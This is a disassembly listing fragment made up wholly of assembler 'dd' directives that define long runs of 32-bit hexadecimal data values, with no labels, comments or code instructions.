dd 7AA35C69h, 0A473E7FFh, 897C879h, 0BF0E4035h, 5F3FC561h
dd 0E7A4E0FBh, 0F002C809h, 21AE66Fh, 0EBFA1068h, 38DC5A9Fh
dd 0BB8FE904h, 137DA7AAh, 99AABF3Ah, 4BC16B96h, 4124F23Fh
dd 7C590DAh, 3B442B32h, 0E5A2E34Bh, 4ABE2A06h, 3C0A12Eh
dd 50E3AEEEh, 9D7389B4h, 0FA65A009h, 2DCBC14Dh, 1F0C8EFFh
dd 0D332B503h, 5C6B929h, 0B884FF8h, 6D45A51Dh, 94FB0207h
dd 0E9080258h, 0F7B012Fh, 98A57C1Dh, 0B95DC884h, 4B906B58h
dd 438270D4h, 0CB77C1C1h, 0E5ED9E8Eh, 0BFD94225h, 10395791h
dd 0BBB4CB28h, 132E8CD9h, 888AFF82h, 3D045C52h, 0EB0CBE4Dh
dd 0C059D9Dh, 3B7E7081h, 4CF0EF05h, 0BCFA5F5Ah, 0BB87E5CAh
dd 0BA33ABh, 28F72C1Ch
dd 81B652D0h, 0BCCE8009h, 0C7FF8EC0h, 0CC9EA7E6h, 0BD061207h
dd 7F46F07h, 45967CEh, 4E598BF0h, 463BB4A1h, 0D546B0EAh
dd 28A0EE01h, 5759732Fh, 0E951F441h, 2674D3CDh, 0D4584109h
dd 8DA64D8Bh, 0D11EE910h, 0F1885B0Fh, 5560B114h, 136DDDC6h
dd 64FE086Dh, 0F25A0802h, 3BA4B14h, 80C5FE9Dh, 0EAFA1E93h
dd 20281655h, 584F9B53h, 0D72970C2h, 3768C121h, 1D278A0Ch
dd 5E2569EFh, 28F442D0h, 4CBE5602h, 5CED0248h, 0F3016C05h
dd 5E170808h, 4CD4AB01h, 0CE434D27h, 0E1F5487Dh, 35955F30h
dd 505E1878h, 4D208780h, 6E22F1B8h, 15580840h, 935EE952h
dd 4C050577h, 0FE101591h, 0F5879284h, 49D5B10h, 0C202ECC1h
dd 3E7FA112h, 915A6FC0h, 3B2F7E82h, 1BA50C00h, 0D362E1BDh
dd 0CD297717h, 422E60A6h, 0D70580BEh, 684AA841h, 91717E2Ah
dd 0D74CF2Ch, 76E85D7Ah, 5D8AAA7Bh, 0EB0B9666h, 7CEC44B8h
dd 5B20218h, 1F55003h, 4CE1E92Ch, 0E0181C34h, 0E8675A1Dh
dd 0EFC81053h, 0C2D6404Bh, 7D8527F4h, 7641F898h, 0D007CA2Fh
dd 218071BBh, 0BEE8EEF9h, 60BD0230h, 20C06F5Bh, 0BF80C68Dh
dd 7624127Dh, 4DDC024Bh, 845DB359h, 1618C9D7h, 613D1BAAh
dd 85C19817h, 7826F5EFh, 0BE304B57h, 96F2E200h, 7F347C23h
dd 0A78995E9h, 0A7CBEDF7h, 6560D271h, 162E96Eh, 42BBBF57h
dd 89293649h, 548109C6h, 0E75DF252h, 0A5490834h, 92BD027h
dd 4AC4707Ah, 146A77Ch, 0C132B083h, 0FB4D3C10h, 0C5F16AC1h
dd 0FFE93708h, 7D814A34h, 0E00A12F6h, 189F0028h, 29C8255Eh
dd 867FC09Fh, 3CED97BDh, 631AF52Fh, 0D72C9A57h, 6DDF028Bh
dd 0C839AFAh, 4D56A257h, 80715DC1h, 0D19973Ch, 0D2E1A3C9h
dd 2D0F9268h, 194214E6h, 9040D029h, 26253E3Bh, 0CB5FC03h
dd 464AE48Ch, 2807D2DCh, 5BC26848h, 0E32AF2D6h, 0EC0CF8C0h
dd 1C3C03C1h, 0F90135D4h, 88BE9F2h, 0BFC0FD7Ch, 4EC97BECh
dd 0BE9C857Eh, 3B0AA710h, 2C0C3C59h, 0D80AD15Ah, 3C280705h
dd 7363081Fh, 42350E7h, 187F42CBh, 4EB08035h, 6AEDEE54h
dd 80BB7316h, 0CF0C1298h, 0E94CC962h, 71B56FEh, 82A7CA80h
dd 0BAA6B533h, 0BF0BB2D9h, 7D0D866Ah, 0DA004FE5h, 0E967E668h
dd 9B5BA15h, 6DBDF105h, 11EC6B82h, 975B4BE4h, 43E2AB12h
dd 94271CC4h, 2F45EDBDh, 0A7715E29h, 81CC546Bh, 0EC9FFEh
dd 7F0EC3BAh, 1A9908Ch, 14D74FE7h, 59F537E9h, 0A52B61EBh
dd 9165110h, 5350A3D5h, 681359A6h, 35EB4CEDh, 859EB9BDh
dd 70E4E6E9h, 0B45897DAh, 0B057AB0Fh, 0C3E7C579h, 94888495h
dd 30AA4019h, 882E47BFh, 0BF0064F8h, 8D13DB8h, 38FE07BEh
dd 51315113h, 64E657E9h, 7F707294h, 0E1CCD4BDh, 50862EE9h
dd 0D552D8BAh, 876910B8h, 27FA522Fh, 25E51E96h, 1216894Ah
dd 5BD7CAFBh, 399C6081h, 0AC6A7592h, 4E344A2Eh, 512C5AF3h
dd 973C1C9Eh, 37A822h, 319550D0h, 832D90E9h, 0AE1FEBE4h
dd 0E40ACECFh, 0BF5708h, 76FF15EBh, 0E74B80E9h, 0B3A3ED1h
dd 0F1E27D96h, 0C3297AEEh, 0DD6EA07Bh, 75CC655Ah, 0C02140CAh
dd 6807EA05h, 24A80AA6h, 75E928C3h, 0F2885F2Eh, 0FF10412Dh
dd 176FBFC3h, 0E91B2001h, 312E39E5h, 2AD07777h, 0EA167B41h
dd 126A4673h, 131BFB15h, 272E4BB1h, 2D58DA95h, 6F41FFF4h
dd 0AC6EDB41h, 34493282h, 97905DCAh, 68055356h, 25554B41h
dd 7343F00Eh, 0D1DF73B8h, 0E9C04406h, 0E4E205Bh, 0E34CE5EFh
dd 8B5B36EFh, 0A5423831h, 5000CC7Dh, 470A96B8h, 9E4016E1h
dd 0F690A312h, 6145AB1h, 0ACEBBE68h, 99EEAE85h, 0F01418B5h
dd 0C581802Ah, 0E2694E0h, 1D094F43h, 0F4827719h, 0B35DC25Dh
dd 0ECC25A72h, 12B9A74Ah, 0D7F66159h, 24215530h, 4BF59CAh
dd 0F87A9868h, 5827C01Ah, 0FF311DD3h, 0BC8B9143h, 0B1C38001h
dd 0F16BB30h, 0B72888EBh, 32F391AFh, 0D6F700EDh, 81E650D1h
dd 565F1F46h, 13DBCD0Eh, 0C4F22F46h, 4866650h, 12A643Fh
dd 8DBC0D9h, 185EFC16h, 1D40CAB0h, 817EA417h, 1C0213F7h
dd 0B50C9F67h, 8011F10Fh, 0D747C1E7h, 0C530C04Eh, 29EA1F3Eh
dd 6715519Fh, 5B59C101h, 0BCC23058h, 78798B7h, 9CD9B7BEh
dd 5DAD642h, 78CA4489h, 805C0147h, 587801EDh, 0AF8EF512h
dd 0D816301Ch, 0A3AE60ABh, 0CD6027E9h, 0EDB6F2F1h, 0A1A44E8Dh
dd 8A84F8F8h, 5313F3A4h, 8FA83B73h, 9A410707h, 76E5C00Eh
dd 502D0869h, 30AC7F52h, 0CE13F5EEh, 0B7A188A9h, 6ED8F53Ah
dd 0FE96E582h, 5983A5Dh, 64BD0AA1h, 3F910206h, 7724EE01h
dd 0C8AE9D69h, 0F9EA7EE4h, 56CB1E5Dh, 7241DEDFh, 595B5E38h
dd 0A93442Eh, 0D0680469h, 2DFF2C94h, 96AD3FBBh, 0C6620A8Bh
dd 0DC7C127Fh, 0E4BAC3Dh, 2F0F6121h, 311E6C4Dh, 0E31F9E55h
dd 0DA4827CAh, 0A2CF6E0Ch, 5F2370B6h, 50F0A0F3h, 474BCDFAh
dd 45747831h, 6882436Ch, 55A1179Eh, 0CD7920BDh, 8B83753Fh
dd 5B3C2A5Ch, 128FA615h, 9B39FB59h, 1DBDD489h, 0D42F2359h
dd 20DA0BB3h, 5C1AE259h, 0ADD0293h, 5FEA2209h, 2DF6807Dh
dd 58F11465h, 528D304h, 13029207h, 0F63B9368h, 8BAA9247h
dd 53941717h, 0E9B040BDh, 22B5D179h, 66BA38EFh, 2CB207A1h
dd 0D30BB050h, 0EE8452B7h, 9DC7A4D8h, 9D802350h, 0C34BE9DFh
dd 7E84E4A8h, 6D00FFB8h, 6F2066AAh, 19E85C31h, 7413A125h
dd 5A8706BDh, 0D20B4E51h, 54C5E536h, 6784250Ch, 3066EE1Bh
dd 41A0399h, 2CD0286Dh, 9391C9A7h, 5F9E6C4Dh, 680B048Eh
dd 30D4112Ch, 0CD26055Bh, 0FE56AE5Fh, 8147E94h, 8AAFD761h
dd 815C003Eh, 9F4BE0CBh, 53A9983Bh, 5F58A18Eh, 0CF639930h
dd 42307EC2h, 76D56E63h, 1A2179Ah, 58104FAh, 372D00EBh
dd 972F5795h, 0F9A4E30Fh, 6029090Fh, 8AE106F6h, 0FBA1EC57h
dd 0F8484E5h, 0FA5B66F8h, 0A3C4CFA2h, 95B91230h, 6101FD1Ah
dd 0CA2DE540h, 6F001A75h, 1873B405h, 6521E934h, 0FBC575B8h
dd 0BE56F640h, 5C2C1480h, 60052F7Fh, 0C06AB003h, 4427D13Bh
dd 2E4B4B58h, 928BB4A7h, 85D2B04Ah, 591AC9D9h, 0D5EEE2F5h
dd 5177704Ah, 55E9C144h, 4A32A56h, 0EEED35DCh, 0F9E953B4h
dd 0FBD2132Eh, 0A06FF579h, 96B7D254h, 0DB5C20A3h, 2C88B807h
dd 0C1A3788Ch, 0C245024Eh, 65EB1EACh, 5D16C6C0h, 0CC09DE30h
dd 59051308h, 0AD4E9B54h, 1D83B38h, 2DDD3548h, 3BD446AAh
dd 41631340h, 7F21EE01h, 4064ADE9h, 6EAB0B68h, 19882C17h
dd 0EE2996EFh, 79EA2002h, 0EBBE8031h, 4B112D5Fh, 0F87B355Ah
dd 2F18509Dh, 332918B5h, 0C7568245h, 524C031Eh, 0EC6D188h
dd 1AEEFB31h, 6D81B096h, 90DAF041h, 0B9F345AAh, 0B1AA1700h
dd 0A022ECFFh, 0CCED3BE1h, 0D82E4985h, 114F51ECh, 17C66EA9h
dd 0F1B70A89h, 1605EBAAh, 5006A4BDh, 0D0F0475Eh, 650692B4h
dd 0C05838FFh, 3527EDA5h, 0D2F70E18h, 905507DEh, 2A034171h
dd 0B8C1D7E2h, 305465DFh, 0D25ADA72h, 0C0C937ACh, 40F1DD62h
dd 44619662h, 8E43C02h, 0F9CA712Fh, 0F5FC080Bh, 88B56E58h
dd 6C2CC1E8h, 7AA7D5CFh, 7BDE2CDFh, 4F3D1CF9h, 0F8F60A84h
dd 2084190h, 625099CAh, 29309190h, 0A7C58952h, 95789764h
dd 844D568h, 0ABAEE906h, 0B1E60727h, 0B4629B7Ch, 0EBC6D468h
dd 22352CEh, 0CBACEDACh, 4C0DD900h, 0A231E968h, 0A264DD3Fh
dd 90600BEh, 975A3D59h, 0C05263D6h, 72AFD5h, 0B9517107h
dd 626F18F1h, 59CF091Eh
dd 90EA5656h, 750BAC2h, 68BF12F0h, 1038CA1Eh, 2C35FE24h
dd 643DA5C6h, 0E3FE5AF6h, 902F2EB5h, 0C048B98Eh, 4BE3752h
dd 6AAC274Dh, 0BA0379D4h, 188DC949h, 72A08062h, 283C81B4h
dd 599898FCh, 25712E41h, 0FD19BBh, 3020C9ACh, 0D1753C54h
dd 490416E2h, 61B09C80h, 41606BF4h, 5A46C910h, 0A80B4BEEh
dd 0FD0196F7h, 63917445h, 0BFD3F02Ah, 28E06016h, 4011F3B0h
dd 0DF0CB633h, 605EEC0h, 0C6800206h, 0B9C7E9DBh, 0F7D9205Dh
dd 59E5BAB2h, 0B77D0F89h, 167F4E42h, 615CB1F0h, 82E31CE9h
dd 2827B710h, 0EA24C0EFh, 26D995B9h, 372659CBh, 63BE405Eh
dd 0D52DE932h, 2FA6DA6Fh, 0BB64E482h, 0D36132FCh, 25B1EEAFh
dd 0F6D854EDh, 0BE111280h, 76550102h, 7A6E6A21h, 8050794h
dd 38EA348Bh, 96608480h, 0D4C1C6D5h, 9629489Eh, 68505E30h
dd 4B39FD04h, 806C101h, 44C00A0Ch, 9972BA3h, 60767A9Eh
dd 0FE90F552h, 90B5E879h, 0D79B67ABh, 6513BACAh, 4F5F34A0h
dd 92FE6A9h, 57D476h, 1C252B53h, 0DAF7242Ah, 0A003135Eh
dd 4E13E2F5h, 53032D23h, 0B0E1B850h, 405366Eh, 1CBD6C3h
dd 0E093AE29h, 0DE3291BBh, 0E5AE02Eh, 13BA3140h, 69A01F6h
dd 8395466Fh, 842DC595h, 0D0C073E9h, 0F36A9839h, 1627417Ah
dd 6B36D179h, 0FC693EFCh, 685580FBh, 4A560257h, 3FFD5D5Eh
dd 4D3C6906h, 0D2040C2Ch, 0E9B12154h, 526156FFh, 0E5881426h
dd 30623513h, 91685AACh, 12AADB95h, 5E794B51h, 0B7F861D4h
dd 3AB0BFCFh, 11ABEE73h, 1230BBCDh, 6125E953h, 0A4C54F3Ah
dd 15416134h, 0A28A0172h, 2F40687Eh, 8403AFCh, 0DE892DE9h
dd 0ECC7395Dh, 16675DDAh, 0E9C82181h, 0DD6E6CAAh, 323EEC58h
dd 0BF556082h, 95577E10h, 5A5B2F52h, 248189D9h, 22310FA6h
dd 0FEDE7F4Ah, 2D45AE4Bh, 7600A6C9h, 717B6364h, 0D5F7264Dh
dd 175803B3h, 0D1C30A5Fh, 654C6076h, 46CD4E8Dh, 2E7F8000h
dd 0A8474B59h, 4634912h, 632136F1h, 0C00875C2h, 48626603h
dd 0C702CC4Ah, 0F1CEB017h, 316040FFh, 0D5948CDh, 0AD1F0E00h
dd 2456E91Dh, 471930A0h, 0F767A825h, 26082D08h, 0BC6B086Eh
dd 3DDA6804h, 2F5B5298h, 79E2942Fh, 0C0F21F58h, 738CEA4Ch
dd 0CA3B4473h, 26F202C1h, 0E1F7B753h, 68005856h, 953D39E4h
dd 88482FE8h, 4358B70h, 6331BACh, 0DEA844B0h, 22012D26h
dd 29159E46h, 74405E8h, 3E88BEC7h, 586CDD2Ch, 38498EE9h
dd 463309B7h, 0AF00FD12h, 74843504h, 2D715B01h, 0F07F17B0h
dd 9BDD093Ah, 81A9EDF3h, 1667F5E9h, 2F46D312h, 0BF9A9918h
dd 0D2056F05h, 0C55D015Eh, 21D20B09h, 41AF6D73h, 5D027BE6h
dd 597801D5h, 0D82F5852h, 474B2969h, 27E99798h, 24E6E478h
dd 730C845h, 0ABE75A08h, 33C3EB77h, 2D3400D8h, 529D08DBh
dd 551C801h, 0A42C7C07h, 0E987CCBAh, 0B17CC5Eh, 23ACABFh
dd 0E0E9525Ch, 0C20CF47Eh, 3B6C45DDh, 5C62D22Dh, 1F7EE976h
dd 5C987D7Ah, 0A48BB53h, 0C1400371h, 9AE906EBh, 6BC3DC49h
dd 793B79A7h, 0E412B579h, 582549ACh, 0F7391A4Ch, 0F86882E1h
dd 5DC0E96Bh, 2E2565F0h, 8510FD98h, 0B5AC09B2h, 0B0BA6420h
dd 6B501F3Ch, 0AE5B16D1h, 5490119Dh, 946809DFh, 8282F71Eh
dd 0D206752Dh, 349C79D6h, 42697F6h, 1333A1A0h, 0C5F8510Eh
dd 0D2FB7582h, 0AC48A0CFh, 7B1778BFh, 0AB8167E3h, 903B4733h
dd 0A708901Eh, 6A2D1F25h, 2D88F06Ah, 0A0FEF18Ah, 4839FD40h
dd 64F0B80Eh, 42CEDBEh, 8704A067h, 0F1F1EBD6h, 0B21623ECh
dd 11C30081h, 0E281454Ah, 0F704175Bh, 0C45DE92Bh, 416EEAB4h
dd 10F530CAh, 0FCC05341h, 1FEC3080h, 885BC306h, 0C720E364h
dd 7FEE8907h, 4F2072E9h, 279B5B23h, 5F02914h, 19904007h
dd 53E89E4Fh, 2D213499h, 0FEA80D8Ch, 0E3010ACBh, 447B2750h
dd 16AF5457h, 0C5EA040Fh, 0E0BAFE9Ah, 26707EF5h, 90CA7EE1h
dd 0B8704E4Eh, 476A4E92h, 0EFB18FE5h, 165B3EA4h, 0F86F3D74h
dd 67C63010h, 79FC2FC5h, 70896258h, 6C74113Fh, 52EB36B4h
dd 98BE065Ch, 0CA0C51D8h, 4C170B11h, 17BD60D6h, 77F39AC3h
dd 0F0019E2Ch, 3E9CA84h, 0B75A21A0h, 0EFEFB0FCh, 2E8853DEh
dd 74DD3D3Ch, 89209794h, 0B2CE1785h, 50568BB6h, 71BB0CA5h
dd 0A2362F17h, 5FF72B40h, 0D274ACD0h, 165C1AFBh, 36896B63h
dd 75E9E82Ah, 9E8A7940h, 0D5434BE1h, 81B4FBF1h, 0BF94C277h
dd 136FCAB8h, 9F950122h, 0DA1CBE73h, 4E8C6F5h, 4739761Eh
dd 0FED9AA31h, 0BDE27420h, 0D2E962Bh, 0C7A3BF89h, 5FDBFD01h
dd 0A33828EEh, 29FA4F99h, 0C9E7F882h, 0F7726897h, 267CBD5Eh
dd 0DFCC8162h, 0A5F60D22h, 3F92D1FDh, 1F2668FEh, 4EAD0F82h
dd 0D3420167h, 9B400682h, 1B7A90E1h, 0DA8AF82Ah, 1696287Ah
dd 0BD602C58h, 2119E8C0h, 0C927D99Dh, 0B69BEFCh, 0CEA95713h
dd 0E94189F4h, 61339E22h, 5DFEBB01h, 3B313BA1h, 0DC3E18F9h
dd 1168F961h, 0C7252A34h, 79312910h, 0C4E9F909h, 7179909Bh
dd 0ED29EE67h, 261ADFF0h, 274E4E10h, 0B97788C6h, 1510D18h
dd 4EAEF2A0h, 0B0EDACFEh, 5B705290h, 5F65EB01h, 0E9BD42FFh
dd 374AC235h, 3DEA5BC0h, 72E341Fh, 5FB0D552h, 0BF799758h
dd 892FE6C3h, 0E855B5Fh, 0BA0261A6h, 67D8801h, 0C73059EEh
dd 5C02FF94h, 209BE4D5h, 801A99B8h, 820620F3h, 0E188E361h
dd 0F7021E1Ch, 54C60EC9h, 78A304B5h, 11CB1E20h, 9305D8Fh
dd 94B551F6h, 0F0DE9D15h, 223E5359h, 0F95D5BC5h, 51E984B9h
dd 278AEE17h, 0FEA31185h, 0EA00E7CDh, 2BA3888h, 2C67BE01h
dd 20F76973h, 8FAF68Bh, 191F4D3Fh, 0E8D93E09h, 1E90277h
dd 0F659F5F3h, 88885045h, 0B4E74BD8h, 0F0798872h, 6A62582Eh
dd 0F63DF546h, 48099746h, 0B5FE7F5h, 0EB07E7C1h, 251C1E3Eh
dd 4B13C557h, 20C22809h, 3E7B0F81h, 0FA1D6F46h, 0DE9603CCh
dd 19AF04EBh, 0FC29679Ah, 5A084055h, 0AD0B8B29h, 200F8708h
dd 0EE10C96h, 558E68F3h, 93A26FE1h, 8566F1C4h, 0A80050Eh
dd 21F2AEF7h, 816193DFh, 0C0CBBE16h, 0BB0E1A43h, 65DB5486h
dd 0A422F329h, 25B15CB0h, 0A7616C12h, 16257F62h, 0D073E2FBh
dd 308204DAh, 0D4AA5C08h, 5B0809CFh, 0D6E9C7F4h, 9D6A642h
dd 7F7E7580h, 0D5F3AC67h, 0C23EEE41h, 163D68F7h, 2F8822F1h
dd 27502DF6h, 57CAE31Ch, 8ECF18FEh, 1276CD4Fh, 1B0629h
dd 95D636BEh, 0EF65096Eh, 0B320D3E6h, 58C21EABh, 0E35F5CA1h
dd 7066D3DFh, 0C01B2CB4h, 44D4CBD3h, 8872F207h, 6BAB5DABh
dd 0EE0C67D6h, 0EECF2D46h, 6D20B7F1h, 4F731D20h, 0A55B0FF4h
dd 25E69FFh, 0EDA29DDFh, 4FE171E2h, 3CAB2A26h, 0FC9AD795h
dd 4A049C95h, 0E709EE5Ch, 50F7E086h, 842AE552h, 79D4C711h
dd 460C6857h, 474E1E9h, 5543DE5Dh, 0BE00DA3Dh, 21781BAAh
dd 2E1DE681h, 0FEE85D0Eh, 1A4E849Ah, 0F373E7F8h, 5C8A9830h
dd 4585CCD7h, 92E9E20Dh, 9EBAA316h, 0D5E93FC7h, 104D6DC0h
dd 0E24A6B5Eh, 47301614h, 5A8741A2h, 0E88BE555h, 0FB0BD3F2h
dd 0B7DAF80Eh, 0E8325F50h, 5CFD7135h, 0C531771h, 0E737D9F3h
dd 8558EF95h, 21A2B7E9h, 35F8259h, 95700052h, 0BA3D2A12h
dd 0B51714F2h, 0A904312Dh, 290903A8h, 4896C475h, 0A9408066h
dd 64789754h, 5A7E7C95h, 0D233F87Fh, 0D89DA115h, 0EC8534Eh
dd 1E790A6Ch, 32DD8F0Eh, 0AA635FD2h, 0E918C313h, 8E3B7C0Ch
dd 86C21647h, 4F46B20h
dd 6869096Bh, 0AC645141h, 0EBBD5502h, 0C171E066h, 16068A6Bh
dd 89531E07h, 14C24D18h, 881AA335h, 0DFABD1C6h, 25683564h
dd 0BBE64E31h, 7B305A30h, 0F1592EBh, 0CB297BDFh, 25C1A9A9h
dd 0FF777F59h, 0B6633E3h, 0C67681Ch, 3C79B974h, 0AE18656Bh
dd 0FDFA3F92h, 0BD6040D1h, 507F17B7h, 0C3E316h, 81366723h
dd 64EF6E1h, 0F9BC115Fh, 0FBDFD13Ch, 9D688C40h, 0B8740879h
dd 8CAC5E57h, 91413A02h, 47D1E447h, 0E4EC4356h, 0A92EE171h
dd 1A68A01Ah, 0C16CAB32h, 0DA6E617Ah, 20E21024h, 305B6609h
dd 9C52875Dh, 576CA9BBh, 7E97D896h, 68D74C99h, 23B34A4Fh
dd 58134C42h, 0E3CAAA53h, 0D060B292h, 7F2302A6h, 964143D2h
dd 685200D1h, 46A464B3h, 0D6B4F75Ah, 1043302h, 9A89C072h
dd 507D3005h, 0AA1BD418h, 0D789DB0Bh, 169C755Ah, 4F5B7EC1h
dd 0B56F6045h, 0A408047Ah, 0D4417FEBh, 5418525h, 0A4F47CEFh
dd 8872968Bh, 2500AA03h, 444B6845h, 3F690535h, 8081639Fh
dd 65F3A9Dh, 2DE1295Bh, 0CC10804h, 3055081Ah, 0A09F7409h
dd 120A2DB3h, 0B8084EC6h, 0C6EC5F84h, 367368C2h, 3012EAA2h
dd 0EF26264Ch, 6E834741h, 0A80F4E5Eh, 0EBE64D9Eh, 1C1047Eh
dd 90A3BACAh, 6132A75Eh, 0F5E95D1Fh, 0B483238h, 3E84CB0Eh
dd 0C30E43ACh, 0B44063Eh, 7E07E3C1h, 2AB807C6h, 0EF01F46Fh
dd 4AE959B4h, 9A91A405h, 35F57304h, 3E81D629h, 0FC6D4E34h
dd 239BEB02h, 6C56622h, 3453BD81h, 28834B3Ah, 0F6C2EE3h
dd 5DB1840Eh, 9A29EF55h, 1C080D1Ch, 86E91400h, 0A581BEC4h
dd 68571BA0h, 0AA7442B0h, 0FA295F12h, 0F7453AF0h, 28BF23B1h
dd 0C9BA3C0Ch, 9126069h, 0C75E5EF0h, 0E374B2CBh, 6286B277h
dd 6211D1FFh, 0EED51754h, 64BE0F1Dh, 6B74906h, 4CFA132Ch
dd 1266FC9Fh, 802C81C1h, 0BCED60F1h, 0FEE66844h, 0A2A34A50h
dd 574789EEh, 0D2F210A0h, 2B7B1834h, 5E353F38h, 0FEB494BCh
dd 30B0E587h, 0BDC7FDE9h, 0E80B3465h, 0B0F059C9h, 110568BBh
dd 0E961B2B1h, 0D02A8529h, 0D474EA6Fh, 890CF32Fh, 0C13BDF9Eh
dd 10B83415h, 29212792h, 0DA14F74Ah, 10B95448h, 68095ECBh
dd 37965D1h, 9C718D81h, 0F178574Ch, 0BDE99505h, 8A1196DAh
dd 451DBE0Fh, 0A7708528h, 3BC59240h, 0F62A1704h, 5D366072h
dd 20D65EFh, 0DA215B1Fh, 6840BE49h, 0B854CC70h, 15F3B94h
dd 979250BFh, 92BFBC37h, 80352614h, 0B850DDF7h, 0E24900EAh
dd 3C193540h, 7EBD23ABh, 4D9B3FFCh, 21E8244Fh, 0C1283454h
dd 3337FEE8h, 36D0561Fh, 0F47E0E55h, 141C6BD1h, 76C4A07h
dd 5BC357E3h, 1CB241F9h, 9969DD6Eh, 0FB8154BEh, 47753F87h
dd 7046CE1h, 9B2000ECh, 3F685909h, 91E457Bh, 0DBF0C8E9h
dd 180B0575h, 521F8C3h, 0C85CFFDDh, 9EBBBD4h, 7F316BDBh
dd 0B0074F84h, 0C5B33B6h, 0D92D3DEEh, 0F47579EEh, 48AB22AAh
dd 0C780A6D4h, 3A3167A8h, 0F7E0E347h, 507618FAh, 0DBCD0C7Bh
dd 5C77B327h, 5344012h, 0E918404Bh, 0E67B060Eh, 0F9101E07h
dd 0FC3BCD12h, 97A16E5Ah, 1C4F6099h, 2F93F969h, 0ADE3FC40h
dd 9877D938h, 0FCD4807Fh, 0DE8780C7h, 0C64EEAEEh, 4B218528h
dd 0DE6AADDBh, 4AF09ED7h, 22FE6B9h, 0E1C12E98h, 46614106h
dd 0C1F92FA5h, 0D84BCB9Eh, 0A2F3D66h, 5D17BAADh, 0ADB857D1h
dd 0AF337FD4h, 5C54D7D9h, 0A46E4A53h, 5FE7C117h, 0C02BC8CAh
dd 53F329A3h, 97092ABAh, 8509B831h, 704EEDDh, 0BAE38E9h
dd 0C6775C78h, 52BA056Ch, 85558B72h, 0DF44AE36h, 3E81EF29h
dd 0E93AE15Ch, 0B1518261h, 3E4DDA0h, 9B06DC65h, 82C10909h
dd 0FDA2B56h, 0EC22F4CCh, 0E3280909h, 91810458h, 12CFB8C3h
dd 0AA8C87DBh, 6123EB4h, 0C016B450h, 0DFE650E4h, 79FA62BFh
dd 6E1B820Ch, 0FA805797h, 69FC680Dh, 161378BFh, 0BFCF22E9h
dd 0BD3E4499h, 16FBE4AAh, 52A8974Fh, 4740B70Ah, 0DB9FBB79h
dd 915508BDh, 2E640B3Eh, 1D0F5447h, 6A8D8017h, 3E94F681h
dd 0E91B590Fh, 4CDDD3BAh, 0E9A3607Eh, 29A9615h, 4D781C02h
dd 61C80138h, 0F105C327h, 4CEC6F83h, 0B27E7900h, 135EE9A7h
dd 0E6402E9Fh, 4F6B25F9h, 58ECF9EBh, 0C9EDB4ADh, 0A0E9A24Eh
dd 0D3B727E9h, 0E80EA12h, 4A730A3Eh, 2C5EBF2Ah, 0ABE35B5h
dd 12113369h, 0B07AFC5Bh, 2968D231h, 0BCE47D13h, 0BB03B2Dh
dd 8C064003h, 0C9B6E925h, 0F8745AE1h, 4188D362h, 6F6041C7h
dd 4F3F79B4h, 8493CC2Ch, 0B3535000h, 0E9D888DCh, 0B18067ACh
dd 0C39D72E8h, 5BD5E6FDh, 5FA7E9F5h, 0FF2D3C32h, 0E0E972A2h
dd 0D8771CCAh, 0EF172DCh, 0D0F659C8h, 25DC6EBh, 11B39A3h
dd 0F428D305h, 0F0280153h, 0FDF8072Dh, 1225597Fh, 0B515785Eh
dd 0C25F0D0Bh, 0AA108237h, 8BDEC545h, 26DE535Eh, 72B68E1h
dd 3160A14Dh, 21F998Ch, 29146D50h, 0AD21737Fh, 5C959058h
dd 874E4245h, 7720FEF2h, 580BB7B1h, 4D266554h, 2E1F3781h
dd 983F5D64h, 414B39CEh, 20D7C340h, 53290AD3h, 313B13EEh
dd 0B24030C1h, 93E2224Bh, 0D9010518h, 2505D8F7h, 3DAD32C6h
dd 0CA68B891h, 0FEE901E2h, 0D9AD6F8Dh, 8A56FFF4h, 0BE97B6E9h
dd 498C08C8h, 0FB93456Bh, 30E9EACCh, 0ED5DB0A2h, 6B2FB162h
dd 0CFD048F6h, 0E512041Dh, 0A858E93Fh, 0BFA64BF6h, 16CD5D1Bh
dd 0B72BCFDh, 46218068h, 85C54B92h, 0AC18A878h, 82C0B45Eh
dd 151E4D03h, 0F8A5CCD6h, 0E90B80BBh, 0F4DC5E50h, 5F1202A4h
dd 760B4E96h, 619EA2AEh, 5BABF43Dh, 30227600h, 0CD0169C7h
dd 65E0B757h, 23BE5B12h, 0FD743509h, 0ACA8A80Fh, 57EDD100h
dd 5B2D8968h, 4A3A914h, 219253EBh, 899C4CC6h, 0FC41CD08h
dd 4152AA73h, 3897C454h, 0BD70B495h, 0A4561256h, 0B44F5529h
dd 7A60B17Ah, 5CE2AEB8h, 91E7655h, 6EFDE86Ch, 68E71B85h
dd 0BE84EA92h, 80FF3324h, 0C0B1F533h, 101A569Dh, 0DC2924E2h
dd 6049942Eh, 0B4BD0412h, 0D097BBD9h, 0E71229F7h, 753E68E0h
dd 3820C697h, 0FE4A52BBh, 27813374h, 468EB7B4h, 0E45BC288h
dd 3B23ACADh, 0C8309CF6h, 408C198h, 0BE2CE401h, 0A75251A3h
dd 3DB2C53Eh, 0CA635CCCh, 0FCBB505Ah, 0E3C2E2CAh, 577B42FFh
dd 737DDF32h, 3E6CEB67h, 0D7733418h, 6BF7D31Eh, 0E3C408DAh
dd 0A0B1490h, 7D2AB53Bh, 0D6E97068h, 567089B7h, 511F0239h
dd 40400925h, 0E70B7B1Ch, 0DDC531E6h, 923F5997h, 40FF5DEEh
dd 4F03C7ABh, 0DE9F4BE2h, 93082066h, 121326F8h, 645DCC54h
dd 9DF3E13h, 45BBD352h, 0BF27D2BEh, 0FC098A71h, 0BD82412Ah
dd 39AC30h, 60BF50F1h, 67A81866h, 17B6E0Fh, 68081CD0h
dd 51BE141Ch, 7EC03A20h, 9227DE77h, 60EC9C72h, 72E9575Eh
dd 0BB78AE60h, 4CF1EC0h, 0F1F38148h, 0E9DF8056h, 199FAB5Ah
dd 1164E5FDh, 45C00E05h, 0F3A17933h, 611D2D2Fh, 78FD28Eh
dd 0E9091134h, 0FCD13CFAh, 8F2FCE82h, 9D5E7812h, 20E9F15Bh
dd 7865ED37h, 0CE1FC3Ch, 7E322026h, 12722F0Ch, 0C1593Eh
dd 68524107h, 4DBB7B2Ah, 815BE02Eh, 194ADDCh, 13BE6C1h
dd 846FCF77h, 0D257300Bh, 74507317h, 416099AFh, 7E2265C7h
dd 0B593A237h, 1028971h, 8BF88FEh, 0BB555D0Ah, 0AD286100h
dd 0C263BD1Fh, 7444E90Bh, 0E824AEAh, 0C0824F5Fh, 5E06F6BAh
dd 50BE256Ah, 3A1E3164h, 0EDCA0B33h, 0E7C08520h, 725460Ah
dd 0E949D1F7h, 187DB955h, 16FEC765h, 44D9CEDh, 0FC86E9C2h
dd 0ABF00D7h, 0F7176712h
